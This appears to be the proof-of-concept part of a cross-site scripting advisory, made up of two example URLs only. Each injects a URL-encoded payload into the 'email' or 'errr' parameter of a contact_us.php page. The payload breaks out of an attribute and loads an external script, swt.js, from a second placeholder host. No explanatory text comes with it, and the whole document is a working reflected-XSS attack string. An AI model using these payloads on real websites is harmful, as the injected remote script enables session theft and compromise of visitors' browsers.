http://www.example.com/[path]/contact_us.php?email=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E http://www.example.com/[path]/contact_us.php?errr=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E